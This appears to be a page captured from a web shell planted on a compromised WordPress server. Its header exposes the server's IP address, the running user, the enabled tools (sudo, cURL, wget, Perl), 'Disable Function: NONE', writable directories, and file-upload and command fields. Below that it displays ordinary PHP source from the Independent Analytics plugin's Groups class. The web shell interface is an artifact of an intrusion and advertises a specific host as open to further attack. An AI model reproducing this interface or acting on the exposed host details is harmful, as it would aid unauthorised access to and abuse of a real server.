403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html.old.2026-01-23/wp-content/plugins/independent-analytics/IAWP/Tables/Groups/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html.old.2026-01-23/wp-content/plugins/independent-analytics/IAWP/Tables/Groups/Groups.php
<?php

namespace IAWP\Tables\Groups;

/** @internal */
class Groups
{
    private $groups;
    /**
     * @param Group[] $groups
     */
    public function __construct(array $groups = [])
    {
        $this->groups = $groups;
    }
    public function add(\IAWP\Tables\Groups\Group $group) : void
    {
        $this->groups[] = $group;
    }
    public function find_by_id(?string $id = null) : \IAWP\Tables\Groups\Group
    {
        if (\is_null($id)) {
            return $this->default_group();
        }
        $array = \array_filter($this->groups(), function ($group) use($id) {
            return $group->id() === $id;
        });
        $match = \reset($array);
        return $match === \false ? $this->default_group() : $match;
    }
    /**
     * Return an array of groups representing buttons one can select
     *
     * @return Group[]
     */
    public function buttons() : array
    {
        if ($this->has_grouping_options()) {
            return [];
        } else {
            return $this->groups();
        }
    }
    public function has_grouping_options() : bool
    {
        return \count($this->groups()) > 1;
    }
    /**
     * @return Group[]
     */
    public function groups() : array
    {
        return $this->groups;
    }
    private function default_group() : \IAWP\Tables\Groups\Group
    {
        return $this->groups()[0];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit